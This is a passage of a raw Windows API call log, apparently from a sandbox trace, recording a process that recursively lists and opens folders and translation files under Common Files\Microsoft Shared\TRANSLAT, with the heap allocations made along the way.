RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0242.844] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0242.844] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.844] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.844] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.844] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.844] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.844] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0242.844] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0242.844] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918790 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f070 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9187b0 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ef68 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.845] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.845] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0242.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.846] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0242.846] GetLastError () returned 0x12 [0242.846] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0242.846] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0242.846] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.846] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0242.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0242.943] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0242.943] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0242.943] NtClose (Handle=0x1b8) returned 0x0 [0242.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0242.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.943] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0242.944] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0242.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9187d0 [0242.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f6a0 [0242.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0242.944] GetLastError () returned 0x12 [0242.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.944] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0242.944] GetLastError () returned 0x12 [0242.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.945] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0242.945] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.945] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0242.945] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.999] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0242.999] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0242.999] NtClose (Handle=0x1b0) returned 0x0 [0242.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.999] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.000] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.000] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0243.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0243.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9187f0 [0243.000] RtlAllocateHeap 